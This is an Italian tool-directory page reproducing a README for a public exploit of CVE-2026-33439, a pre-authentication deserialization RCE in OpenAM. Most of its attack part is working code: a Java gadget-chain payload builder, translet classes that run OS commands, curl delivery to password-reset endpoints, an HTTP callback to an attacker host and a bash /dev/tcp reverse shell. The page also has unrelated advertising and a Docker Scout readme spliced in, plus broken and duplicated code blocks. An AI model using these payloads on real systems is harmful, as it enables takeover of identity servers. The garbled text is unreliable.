Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-33439 — Prima implementazione di exploit condivisa pubblicamente per CVE-2026-33439 (RCE pre-autenticazione OpenAM tramite deserializzazione di jato.clientSession). | Kitploit
Strumenti/GitHubGitHub/themalwareguardian/cve-2026-33439
Analisi delle VulnerabilitàAnalisi del CodiceExploitReverse EngineeringSfruttamento di Applicazioni WebAnalisi MalwarePenetration TestingApprendimento e FormazioneSviluppo Payload
Binary Exploitation
Lab e Pratica
GitHubthemalwareguardian/cve-2026-33439

CVE-2026-33439

Prima implementazione di exploit condivisa pubblicamente per CVE-2026-33439 (RCE pre-autenticazione OpenAM tramite deserializzazione di jato.clientSession).

Vedi Repository
2174 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

🐞 CVE-2026-33439: OpenAM Pre-Auth RCE via jato.clientSession Deserialization

Intuizione umana + analisi assistita da IA + reverse engineering + advisory → exploit

Prima implementazione di exploit condivisa pubblicamente per CVE-2026-33439

Vulnerabilità di deserializzazione Java non autenticata in ForgeRock OpenAM che consente l'esecuzione remota completa di codice tramite oggetti di sessione JATO appositamente costruiti. Lo stesso fiume scorre due volte: hanno corretto jato.pageSession (CVE-2021-35464) e si sono dimenticati di jato.clientSession (CVE-2026-33439). Una catena di gadget di deserializzazione non chiede credenziali.




📑 Indice dei contenuti

  • Panoramica
  • La discendenza di CVE-2021-35464
  • Analisi della vulnerabilità CVE-2026-33439
    📂
    • Causa principale
    • Versioni interessate
  • Superficie d'attacco
  • La catena di gadget
    📂
    • Deserializzazione Java 101
    • Encoder.decodeHttp64
    • Interni della catena di gadget
  • Ambiente di laboratorio
    📂
    • Architettura
    • Configurazione
    • Accesso
  • Sfruttamento
    📂
    • Prerequisiti
    • Scoperta e ricognizione
    • Comprendere la codifica
    • Costruzione dell'exploit
    • Consegna del payload
    • Utilizzo dello strumento PoC
  • Mitigazione
  • Riferimenti



  • 🎯 Panoramica

    CVE-2026-33439 è una vulnerabilità di Remote Code Execution pre-autenticazione in OpenIdentityPlatform OpenAM (versioni precedenti alla 16.0.6). La vulnerabilità deriva dalla deserializzazione Java non sicura del parametro HTTP jato.clientSession all'interno di ClientSession.deserializeAttributes(), che chiama Encoder.deserialize() → ApplicationObjectInputStream.readObject() senza alcuna whitelist di classi applicata.

    Un attaccante non autenticato invia una richiesta HTTP GET o POST appositamente costruita contenente un oggetto Java serializzato a qualsiasi endpoint JATO ViewBean la cui JSP renderizza tag <jato:form>. Al ricevimento, il server deserializza l'oggetto senza validazione, attivando una catena di gadget costruita interamente con classi incluse nel WAR di OpenAM – senza richiedere librerie esterne – ed eseguendo comandi OS arbitrari come utente del processo applicativo.

    Vettore CVSS 4.0: AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N → 9.3 Critico

    Vettore CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H → 9.8 Critico




    🧬 La discendenza di CVE-2021-35464

    Questa vulnerabilità è una regressione diretta della correzione incompleta applicata dopo CVE-2021-35464.

    • CVE-2021-35464 (ForgeRock AM / OpenAM): RCE pre-autenticazione tramite deserializzazione non sicura del parametro jato.pageSession. Ampiamente sfruttata in natura; elencata nel KEV di CISA. La correzione ha introdotto WhitelistObjectInputStream all'interno di ConsoleViewBeanBase.deserializePageAttributes() – una sottoclasse personalizzata di ObjectInputStream che controlla ogni nome di classe rispetto a una allowlist hardcoded di ~40 classi sicure prima di istanziarla.

    • CVE-2026-33439 (OpenAM ≤ 16.0.5): La correzione è stata applicata solo a jato.pageSession. Il parametro jato.clientSession – gestito da un percorso di codice completamente separato in ClientSession.deserializeAttributes() – non è mai stato corretto e utilizza ancora Encoder.deserialize() → ApplicationObjectInputStream senza filtri, che chiama ObjectInputStream.readObject() senza whitelist di classi.

    Il primitivo d'attacco è lo stesso. Il sink di deserializzazione è diverso. È cambiato solo il nome del parametro.




    🔬 Analisi della vulnerabilità CVE-2026-33439

    Causa principale

    JATO serializza lo stato della vista UI in parametri HTTP denominati jato.pageSession e jato.clientSession. Quando arriva una richiesta, OpenAM deserializza questi parametri per ripristinare lo stato della UI prima di renderizzare la risposta. I due parametri seguono percorsi di codice completamente diversi.

    Il percorso di codice corretto (post-CVE-2021-35464) per jato.pageSession:```java // PATCHED - ConsoleViewBeanBase.deserializePageAttributes() ObjectInputStream ois = new WhitelistObjectInputStream(new ByteArrayInputStream(decoded)); // class whitelist enforced - gadget chains blocked Object obj = ois.readObject();

    root@kitploit:~
    Il percorso di codice non patchato per jato.clientSession (vulnerabile):```java
    // ClientSession.java
    protected ClientSession(RequestContext context) {
    	this.encodedSessionString =
    		context.getRequest().getParameter("jato.clientSession");
    }
    
    protected void deserializeAttributes() {
    	if (this.encodedSessionString != null
    		&& this.encodedSessionString.trim().length() > 0) {
    		this.setAttributes(
    			(Map) Encoder.deserialize(
    				// VULNERABLE - URL-safe base64 decode then plain ObjectInputStream
    				Encoder.decodeHttp64(this.encodedSessionString), false)
    		);
    	}
    }
    

    Encoder.deserialize() costruisce un semplice - una sottoclasse di senza filtraggio delle classi. Qualsiasi classe sul classpath JVM può essere istanziata. La deserializzazione viene attivata durante il rendering JSP ogni volta che viene renderizzato un tag :``` getClientSession() → hasAttributes() → getEncodedString() → isValid() → ensureAttributes() → deserializeAttributes()

    Scarica lo strumento
    ApplicationObjectInputStream
    ObjectInputStream
    < jato:form >
    root@kitploit:~
    ---
    
    <div id="vulnerability_affected"/>
    
    ### ***Versioni interessate***
    
    | Prodotto                    | Vulnerabile                                     | Corretto |
    |-----------------------------|-------------------------------------------------|----------|
    | OpenIdentityPlatform OpenAM | ≤ 16.0.5                                        | 16.0.6   |
    | ForgeRock AM (downstream)   | Potenzialmente interessato a seconda della discendenza delle patch | -        |
    
    ---
    
    <div id="vulnerability_attacksurface"/>
    
    ### ***Superficie di attacco***
    
    Qualsiasi endpoint JATO ViewBean il cui JSP contiene un tag *< jato:form >* è sfruttabile in pre-autenticazione:
    
    | Endpoint                  | Scopo                              |
    |---------------------------|------------------------------------|
    | /ui/PWResetUserValidation | Reimpostazione password - input identità utente |
    | /ui/PWResetQuestion       | Reimpostazione password - domande di sicurezza  |
    
    Gli endpoint di reimpostazione password sono il bersaglio principale: sono accessibili pubblicamente per progettazione e garantiscono il rendering dei tag *< jato:form >*.
    
    
    
    ---
    ---
    ---
    
    
    
    <div id="gadgetchain"/>
    
    ## ***⚙️ La catena di gadget***
    
    <div id="gadgetchain_deserialization101"/>
    
    ### ***Deserializzazione Java 101***
    
    Quando Java deserializza un oggetto da un flusso di byte, chiama readObject() su ogni classe che ricostruisce, incluse gli oggetti annidati. Se un attaccante controlla il flusso di byte e inietta un oggetto il cui readObject() attiva una catena di chiamate a metodi che termina con l'esecuzione di codice, si ottiene una RCE tramite gadget chain.
    
    Il punto chiave di CVE-2026-33439: la gadget chain non richiede librerie esterne. Ogni classe nella catena è inclusa all'interno dello stesso WAR di OpenAM `openam-core-16.0.5.jar, xalan-2.7.3.jar, and click-nodeps-2.3.0.jar`. <u>Ciò rende la vulnerabilità sfruttabile su qualsiasi distribuzione OpenAM predefinita.</u>
    
    ---
    
    <div id="gadgetchain_encoding"/>
    
    ### ***Encoder.decodeHttp64***
    
    Questo è il dettaglio critico che fa funzionare l'exploit. La classe `Encoder` in `jato-shaded-16.0.5.jar` utilizza l'encoder/decoder base64 URL-safe di Java - non la base64 standard, e non uno schema personalizzato di sostituzione dei caratteri.
    
    Verificato decompilando Encoder.class:```bash
    # Extract Encoder.class from the JATO JAR
    jar xf /work/jato-shaded-16.0.5.jar com/iplanet/jato/util/Encoder.class
    
    # Decompile and inspect decodeHttp64
    javap -p -c com/iplanet/jato/util/Encoder.class | grep -A10 "decodeHttp64"
    

    💰 Versione Pro

    Sei serio riguardo alla caccia ai bug bounty? Forse vuoi portare la tua ricognizione al livello successivo? Allora forse la Versione Pro di Reaper fa per te!

    La Versione Pro è disponibile per l'acquisto qui: http://reaper.ad.tw94.com/#pricing``` public static byte[] decodeHttp64(java.lang.String); Code: 0: invokestatic #8 // Method java/util/Base64.getUrlDecoder:()Ljava/util/Base64$Decoder; 3: aload_0 4: invokevirtual #9 // Method java/util/Base64$Decoder.decode:(Ljava/lang/String;)[B 7: areturn

    root@kitploit:~
    Il Base64 URL-safe usa '-' invece di '+' e '_' invece di '/', senza padding '='. La codifica corretta è:```java
    Base64.getUrlEncoder().withoutPadding().encodeToString(serializedBytes)
    

    Qualsiasi altra codifica, inclusa la base64 standard o la sostituzione manuale di caratteri, farà sì che decodeHttp64() lanci un'eccezione o produca byte corrotti, interrompendo silenziosamente la deserializzazione senza alcun errore nella risposta HTTP.


    Dettagli interni della gadget chain

    L'intera catena, utilizzando solo classi dal WAR di OpenAM:``` PriorityQueue.readObject() [java.util - JDK] → heapify() → siftDown() → comparator.compare() → Column$ColumnComparator.compare(o1, o2) [openam-core-16.0.5.jar] → Column.getTable().isSortedAscending() [click-nodeps-2.3.0.jar] → Column.getProperty(o1) → PropertyUtils.getObjectPropertyValue( [openam-core-16.0.5.jar] o1, "outputProperties") → Method.invoke(o1, "getOutputProperties") → TemplatesImpl.getOutputProperties() [xalan-2.7.3.jar] → getTransletInstance() → defineTransletClasses() → TransletClassLoader.defineClass(_bytecodes) → _class[_transletIndex].newInstance() → EvilTranslet.() [attacker bytecode] → Runtime.getRuntime().exec(cmd)

    root@kitploit:~
    No input text was provided to translate.```bash
    # Extract Column$ColumnComparator.class from the JAR
    jar xf /work/openam-core-16.0.5.jar 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class'
    
    # Decompile and inspect the compare() method, reveals getTable() call before getProperty()
    javap -p -c 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class' | grep -A40 "compare"
    
    # Extract and inspect Column.class, reveals getProperty() and setTable() methods
    jar xf /work/openam-core-16.0.5.jar org/openidentityplatform/openam/click/control/Column.class
    
    javap -p org/openidentityplatform/openam/click/control/Column.class | grep -i "getProperty\|setTable\|getTable\|getComparator"
    

    Dettaglio critico: "Column$ColumnComparator.compare()" chiama "column.getTable().isSortedAscending()" prima di chiamare "getProperty()". Se "getTable()" restituisce null, la catena si interrompe con "NullPointerException" prima di raggiungere "TemplatesImpl". Un oggetto "Table" deve essere associato alla "Column" tramite "column.setTable(table)" prima della serializzazione.




    🧪 Ambiente di Laboratorio

    Architettura```

    ┌────────────────────────────────────────────────────────────────┐ │ Docker Network: lab_net │ │ (subnet 10.13.37.0/24) │ │ │ │ ┌──────────────────────────────┐ ┌───────────────────────┐ │ │ │ openam.lab.local │ │ attacker │ │ │ │ OpenAM 16.0.5 WAR │◄──│ Debian bookworm-slim │ │ │ │ Tomcat 10.1.52 + Java 21 │ │ Java 21 (JDK) │ │ │ │ jato.clientSession ← sink │ │ python3, curl, nc │ │ │ │ port 8080 │ │ │ │ │ └──────────────────────────────┘ └───────────────────────┘ │ │ ▲ │ └──────────────────┼─────────────────────────────────────────────┘ │ localhost:8080 ┌──────┴──────┐ │ HOST │ └─────────────┘

    root@kitploit:~
    | Container               | Image                                    | Role                      |
    |-------------------------|------------------------------------------|---------------------------|
    | cve_2026_33439_openam   | tomcat:10.1.52-jdk21 + OpenAM 16.0.5 WAR | Target vulnerabile        |
    | cve_2026_33439_attacker | debian:bookworm-slim                     | Macchina di attacco       |
    
    > Il lab usa il WAR ufficiale di OpenAM 16.0.5 distribuito su Tomcat 10.1.52 con Java 21 - l'esatto ambiente descritto nel GitHub Security Advisory.
    
    ---
    
    <div id="lab_setup"/>
    
    ### ***Configurazione***
    
    <p align="center">
    	<img src="https://assets.kitploit.com/production/public/readmes/42320/eb3503ff207da2ca52bfa3d31aa36089671fbc32e784f97ac720b24f9b281aeb.png">
    </p>
    
    **Passaggio 1 - Scarica il WAR ufficiale di OpenAM 16.0.5**```powershell
    # From PowerShell on the host
    cd "01 Vulnerable"
    
    Invoke-WebRequest -Uri "https://github.com/OpenIdentityPlatform/OpenAM/releases/download/16.0.5/OpenAM-16.0.5.war" -OutFile "OpenAM-16.0.5.war"
    

    Passaggio 2 - Avviare i contenitori```powershell docker compose up -d

    root@kitploit:~
    **Passaggio 3 - Configurare OpenAM dal browser**
    
    Navigare su "http://localhost:8080/openam", fare clic su "Crea configurazione predefinita" e impostare:
    
    | Field                           | Value         |
    |---------------------------------|---------------|
    | Password utente predefinita (amadmin) | Lab@dm1n2026! |
    | Password agente                  | secret12      |
    
    Attendere circa 2 minuti per il completamento della configurazione.
    
    **Passaggio 4 - Confermare che il Password Reset sia abilitato**
    
    Accedere come amadmin → Configura → Servizi globali → Password Reset → abilitare l'interruttore → Salva modifiche.
    
    **Passaggio 5 - Identificare gli endpoint JSP sfruttabili**
    
    Trovare tutti i JSP nel WAR che contengono il tag *< jato:form >*, questi sono gli endpoint in cui viene attivata la deserializzazione di jato.clientSession:```powershell
    # Identify all JSPs containing <jato:form> tags - these are the deserialization sinks
    docker exec cve_2026_33439_openam grep -rl "jato:form" /usr/local/tomcat/webapps/openam
    
    # Inspect web.xml to understand how the password reset servlet is mapped to HTTP routes
    docker exec cve_2026_33439_openam grep -A5 -B5 "PWReset\|password" /usr/local/tomcat/webapps/openam/WEB-INF/web.xml | Select-String "url-pattern|servlet-name|PWReset|password"
    

    Ispeziona il sorgente JSP per capire perché jato.clientSession potrebbe non comparire nell'HTML renderizzato. Il tag <jato:form> è racchiuso dentro <jato:content name="resetPage">, che viene renderizzato solo quando il ViewBean attiva quel blocco. Tuttavia, <jato:useViewBean> all'inizio della JSP istanzia sempre il ViewBean e processa jato.clientSession prima di decidere quali blocchi renderizzare – la deserializzazione avviene in quel punto indipendentemente da ciò:```powershell docker exec cve_2026_33439_openam cat /usr/local/tomcat/webapps/openam/password/ui/PWResetUserValidation.jsp

    root@kitploit:~
    | Docker Scout |
    
    Docker Scout è uno strumento di sicurezza per la supply chain che ti aiuta a identificare e correggere le vulnerabilità nelle tue immagini container. Fornisce visibilità sui contenuti delle tue immagini, rileva le vulnerabilità e suggerisce azioni di remediation.
    
    ### Caratteristiche
    
    - **Generazione SBOM**: Genera automaticamente una Software Bill of Materials (SBOM) per le tue immagini
    - **Rilevamento delle vulnerabilità**: Identifica le vulnerabilità note nei pacchetti delle tue immagini
    - **Consigli di remediation**: Ricevi raccomandazioni attuabili per affrontare i problemi di sicurezza
    - **Valutazione delle policy**: Verifica le immagini rispetto alle policy di sicurezza della tua organizzazione
    - **Integrazione**: Funziona con GitHub Actions, GitLab CI e altre piattaforme CI/CD
    
    ### Avvio rapido
    
    Dopo aver installato Docker Desktop o Docker Engine, abilita Docker Scout:
    
    ```bash
    docker scout enable
    

    Per analizzare un'immagine:

    root@kitploit:~
    docker scout cves myimage:latest
    

    Questo comando mostra tutte le CVE trovate nell'immagine.

    Output

    L'output è diviso in sezioni:

    SezioneDescrizione
    ImmagineIl riferimento dell'immagine analizzata
    Immagine baseL'immagine base utilizzata
    VulnerabilitàElenco delle vulnerabilità trovate con la loro gravità
    Prossimi passiAzioni raccomandate

    Esempio

    Ecco un esempio di esecuzione di Docker Scout su un'immagine demo:

    root@kitploit:~
    $ docker scout cves alpine:latest
        ✓ SBOM of image scanned: 0 vulnerabilities detected
    

    Risorse aggiuntive

    • Documentazione di Docker Scout

    • Repository GitHub di Docker Scout```jsp <%-- Always instantiates ViewBean and processes jato.clientSession --%> <jato:useViewBean className="com.sun.identity.password.ui.PWResetUserValidationViewBean">

      <%-- Only renders if ViewBean activates this block --%> <jato:content name="resetPage"> <jato:form name="PWResetUserValidation" method="post"> <%-- jato.clientSession hidden field appears here --%> </jato:form> </jato:content>

    </jato:useViewBean>

    root@kitploit:~
    **Passaggio 6 - Verifica che l'endpoint sia raggiungibile prima dell'autenticazione**```powershell
    (Invoke-WebRequest -Uri "http://localhost:8080/openam/ui/PWResetUserValidation" -UseBasicParsing).Content | Select-String "jato"
    

    Accesso```powershell

    Drop into the attacker container

    docker exec -it cve_2026_33439_attacker bash

    root@kitploit:~
    Smontaggio:```powershell
    #  stop, keep volumes
    docker compose down
    
    # full wipe
    docker compose down -v
    



    💣 Sfruttamento

    Prerequisiti

    RequisitoNote
    JDK 21 (javac)Deve corrispondere alla versione JVM in esecuzione su OpenAM. JRE da solo non basta, javac è necessario per compilare EvilTranslet e PayloadBuilder
    openam-core-16.0.5.jarCopiato dal container OpenAM - contiene Column, Column$ColumnComparator, PropertyUtils
    xalan-2.7.3.jarCopiato dal container OpenAM - contiene TemplatesImpl, TransformerFactoryImpl
    serializer-2.7.3.jarCopiato dal container OpenAM - contiene SerializationHandler usato da EvilTranslet
    click-nodeps-2.3.0.jarCopiato dal container OpenAM - contiene Table (richiesto da Column$ColumnComparator)
    click-extras-2.3.0.jarCopiato dal container OpenAM - dipendenza transitiva di click-nodeps
    jato-shaded-16.0.5.jarCopiato dal container OpenAM - contiene Encoder con decodeHttp64
    servlet-api.jarCopiato da lib/ di Tomcat - Jakarta Servlet API richiesta per la serializzazione di Table
    Python 3.8+Per lo script PoC
    requestspip install requests

    Scoperta e ricognizione

    Step 1 - Conferma che OpenAM sia in esecuzione e identifica la versione``` http://localhost:8080/openam/ccversion/Version

    root@kitploit:~
    **Passaggio 2 - Sonda gli endpoint JATO ViewBean**```bash
    for ENDPOINT in "/ui/PWResetUserValidation" "/ui/PWResetQuestion" "/ui/Login"; do
    	STATUS=$(curl -sk -o /dev/null -w "%{http_code}" \
    		"http://openam.lab.local:8080/openam${ENDPOINT}?jato.clientSession=probe")
    	echo "[HTTP ${STATUS}] ${ENDPOINT}"
    done
    

    Passaggio 3 - Conferma che jato.clientSession è elaborata```bash curl -sk "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" | grep "jato"

    root@kitploit:~
    La risposta conterrà "jato.defaultCommand" e "jato.pageSession" ma non "jato.clientSession" nell'HTML renderizzato: questo è il comportamento previsto. Il campo "jato.clientSession" appare solo all'interno di *< jato:content name="resetPage" >*, che richiede al ViewBean di attivare quel blocco. Tuttavia, *< jato:useViewBean >* istanzia sempre il ViewBean ed elabora "jato.clientSession" prima di decidere quali blocchi renderizzare. La deserializzazione viene attivata al momento dell'istanziazione, indipendentemente dal fatto che il campo appaia nell'output HTML finale. La presenza di "jato.pageSession" nella risposta conferma che la serializzazione JATO è attiva su questo endpoint e che "jato.clientSession" verrà deserializzato nella richiesta successiva.
    
    ---
    
    <div id="exploitation_analysis"/>
    
    ### ***Comprendere la codifica***
    
    Prima di costruire l'exploit, è necessario verificare la codifica utilizzata da "Encoder.decodeHttp64()" decompilando il JAR di JATO. Questo passaggio è essenziale: l'uso di una codifica errata causa un silenzioso fallimento della deserializzazione.
    
    **Passo 1 - Copiare tutti i JAR richiesti da OpenAM nell'area di lavoro dell'attaccante**
    
    Da PowerShell sull'host:```powershell
    docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/openam-core-16.0.5.jar .
    docker cp openam-core-16.0.5.jar cve_2026_33439_attacker:/work/
    docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/xalan-2.7.3.jar .
    docker cp xalan-2.7.3.jar cve_2026_33439_attacker:/work/
    docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/serializer-2.7.3.jar .
    docker cp serializer-2.7.3.jar cve_2026_33439_attacker:/work/
    docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/click-nodeps-2.3.0.jar .
    docker cp click-nodeps-2.3.0.jar cve_2026_33439_attacker:/work/
    docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/click-extras-2.3.0.jar .
    docker cp click-extras-2.3.0.jar cve_2026_33439_attacker:/work/
    docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/jato-shaded-16.0.5.jar .
    docker cp jato-shaded-16.0.5.jar cve_2026_33439_attacker:/work/
    docker cp cve_2026_33439_openam:/usr/local/tomcat/lib/servlet-api.jar .
    docker cp servlet-api.jar cve_2026_33439_attacker:/work/
    
    ``` cat > /work/EvilTranslet.java << 'EOF' import org.apache.xalan.xsltc.TransletException; import org.apache.xalan.xsltc.runtime.AbstractTranslet; import org.apache.xml.dtm.DTMAxisIterator; import org.apache.xml.serializer.SerializationHandler; import org.apache.xalan.xsltc.DOM;

    Passaggio 2 - Decompilare l'Encoder per verificare il metodo di decodifica

    Dall'interno del container dell'attaccante:```bash

    Extract Encoder.class from the JATO JAR

    jar xf /work/jato-shaded-16.0.5.jar com/iplanet/jato/util/Encoder.class

    Decompile and inspect decodeHttp64

    javap -p -c com/iplanet/jato/util/Encoder.class | grep -A10 "decodeHttp64"

    root@kitploit:~
    Output previsto che conferma base64 URL-safe:```
    public static byte[] decodeHttp64(java.lang.String);
    Code:
    	0: invokestatic  #8  // Method java/util/Base64.getUrlDecoder:()Ljava/util/Base64$Decoder;
    	3: aload_0
    	4: invokevirtual #9  // Method java/util/Base64$Decoder.decode:(Ljava/lang/String;)[B
    	7: areturn
    

    Passaggio 3 - Decompilare Column$ColumnComparator per verificare il percorso della catena di gadget```bash

    Extract Column and ColumnComparator

    jar xf /work/openam-core-16.0.5.jar org/openidentityplatform/openam/click/control/Column.class

    Verify compare() calls getTable() before getProperty()

    javap -p -c 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class' | grep -A40 "compare"

    root@kitploit:~
    Questo conferma che Column.getTable() deve restituire un oggetto Table non null, altrimenti compare() lancia NullPointerException prima di raggiungere getProperty() → TemplatesImpl.
    
    ---
    
    <div id="exploitation_building"/>
    
    ### ***Costruzione dell'Exploit***
    
    Tutti i comandi dall'interno del container dell'attaccante.
    
    **Step 1 - Imposta il classpath**```bash
    CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work
    

    Passaggio 2 - Scrivere e compilare EvilTranslet.java

    EvilTranslet estende AbstractTranslet (richiesto da TemplatesImpl) ed esegue il comando nell'inizializzatore statico, che viene eseguito automaticamente alla chiamata di newInstance().```bash cat > /work/EvilTranslet.java << 'EOF' import org.apache.xalan.xsltc.TransletException; import org.apache.xalan.xsltc.runtime.AbstractTranslet; import org.apache.xml.dtm.DTMAxisIterator; import org.apache.xml.serializer.SerializationHandler; import org.apache.xalan.xsltc.DOM;

    public class EvilTranslet extends AbstractTranslet { static { try { Runtime.getRuntime().exec(new String[]{"touch", "/tmp/pwned"}); } catch (Exception ignored) {} } public void transform(DOM d, SerializationHandler[] h) throws TransletException {} public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {} } EOF

    javac -cp $CP /work/EvilTranslet.java

    root@kitploit:~
    **Passo 3 - Scrivere e compilare PayloadBuilder.java**
    
    PayloadBuilder costruisce la catena di gadget e restituisce il payload serializzato codificato in base64 URL-safe.```bash
    cat > /work/PayloadBuilder.java << 'EOF'
    import org.apache.xalan.xsltc.trax.TemplatesImpl;
    import org.apache.xalan.xsltc.trax.TransformerFactoryImpl;
    import org.openidentityplatform.openam.click.control.Column;
    import org.openidentityplatform.openam.click.control.Table;
    
    import java.io.*;
    import java.lang.reflect.Field;
    import java.nio.file.Files;
    import java.nio.file.Paths;
    import java.util.Base64;
    import java.util.Comparator;
    import java.util.PriorityQueue;
    
    public class PayloadBuilder {
    
    	// Encoder.decodeHttp64() uses Java URL-safe base64 (getUrlDecoder)
    	static String encodeHttp64(byte[] data) {
    		return Base64.getUrlEncoder().withoutPadding().encodeToString(data);
    	}
    
    	static void setField(Object obj, String name, Object value) throws Exception {
    		Field f = obj.getClass().getDeclaredField(name);
    		f.setAccessible(true);
    		f.set(obj, value);
    	}
    
    	static void setFieldPQ(Object obj, String name, Object value) throws Exception {
    		Field f = PriorityQueue.class.getDeclaredField(name);
    		f.setAccessible(true);
    		f.set(obj, value);
    	}
    
    	public static void main(String[] args) throws Exception {
    		byte[] bytecode = Files.readAllBytes(Paths.get(args[0]));
    
    		// Step 1 - TemplatesImpl with EvilTranslet bytecode
    		// getOutputProperties() -> defineTransletClasses() -> newInstance() -> <clinit>
    		TemplatesImpl templates = new TemplatesImpl();
    		setField(templates, "_bytecodes",     new byte[][]{ bytecode });
    		setField(templates, "_name",          "EvilTranslet");
    		setField(templates, "_tfactory",      new TransformerFactoryImpl());
    		setField(templates, "_transletIndex", 0);
    
    		// Step 2 - Column with Table associated
    		// Column$ColumnComparator.compare() calls column.getTable().isSortedAscending() before calling column.getProperty(). Table must not be null.
    		Table table = new Table();
    		Column column = new Column("outputProperties");
    		column.setTable(table);
    
    		@SuppressWarnings("unchecked")
    		Comparator<Object> comparator = (Comparator<Object>) column.getComparator();
    
    		// Step 3 - PriorityQueue as deserialization trigger
    		// readObject() -> heapify() -> siftDown() -> comparator.compare()
    		// Size must be >= 2 for heapify to call compare()
    		PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
    		setFieldPQ(queue, "queue", new Object[]{ templates, templates });
    		setFieldPQ(queue, "size",  2);
    
    		// Step 4 - Serialize and URL-safe base64 encode
    		ByteArrayOutputStream baos = new ByteArrayOutputStream();
    		ObjectOutputStream oos = new ObjectOutputStream(baos);
    		oos.writeObject(queue);
    		oos.close();
    
    		System.out.println(encodeHttp64(baos.toByteArray()));
    	}
    }
    EOF
    
    javac -cp $CP /work/PayloadBuilder.java
    

    Passo 4 - Genera il payload```bash java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload.b64

    Verify it starts with the Java serialization magic bytes (rO0A = \xACED\x00\x05 in base64)

    head -c 10 /work/payload.b64

    root@kitploit:~
    ---
    
    <div id="exploitation_delivery"/>
    
    ### ***Consegna del Payload***
    
    **Conferma la RCE con un callback HTTP out-of-band**
    
    <p align="center">
    	<img src="https://assets.kitploit.com/production/public/readmes/42320/30f9c39c35fabdb472cae9e28d7edb5c3edf4637b9d9334234dc02d56b774b85.png">
    </p>
    
    Terminale 1 - Listener:```
    docker exec -it cve_2026_33439_attacker bash
    
    nc -lvnp 9999
    

    Terminale 2 - Genera e invia il payload di callback:``` docker exec -it cve_2026_33439_attacker bash

    cat > /work/EvilTranslet.java << 'EOF' import org.apache.xalan.xsltc.TransletException; import org.apache.xalan.xsltc.runtime.AbstractTranslet; import org.apache.xml.dtm.DTMAxisIterator; import org.apache.xml.serializer.SerializationHandler; import org.apache.xalan.xsltc.DOM;

    public class EvilTranslet extends AbstractTranslet { static { try { Runtime.getRuntime().exec(new String[]{"curl", "http://attacker:9999/pwned"}); } catch (Exception ignored) {} } public void transform(DOM d, SerializationHandler[] h) throws TransletException {} public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {} } EOF

    CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work

    javac -cp $CP /work/EvilTranslet.java

    java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_http.b64

    PAYLOAD=$(cat /work/payload_http.b64)

    curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."

    root@kitploit:~
    Se l'RCE funziona, il Terminal 1 riceve una connessione HTTP in entrata dal server OpenAM:```
    nc -lvnp 9999
    listening on [any] 9999 ...
    connect to [10.13.37.2] from (UNKNOWN) [10.13.37.3] 51992
    GET /pwned HTTP/1.1
    Host: attacker:9999
    User-Agent: curl/8.5.0
    Accept: */*
    

    Scrivere un artefatto di file

    public class EvilTranslet extends AbstractTranslet { static { try { Runtime.getRuntime().exec(new String[]{"touch", "/tmp/pwned"}); } catch (Exception ignored) {} } public void transform(DOM d, SerializationHandler[] h) throws TransletException {} public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {} } EOF

    CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work

    javac -cp $CP /work/EvilTranslet.java

    java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_file.b64

    PAYLOAD=$(cat /work/payload_file.b64)

    curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."

    root@kitploit:~
    Verifica da PowerShell:```
    docker exec cve_2026_33439_openam ls -la /tmp/pwned
    

    Reverse shell

    Terminale 1 - Listener:``` docker exec -it cve_2026_33439_attacker bash

    nc -lvnp 4444

    root@kitploit:~
    Terminal 2 - Consegna:```
    docker exec -it cve_2026_33439_attacker bash
    
    CMD='bash -i >& /dev/tcp/attacker/4444 0>&1'
    
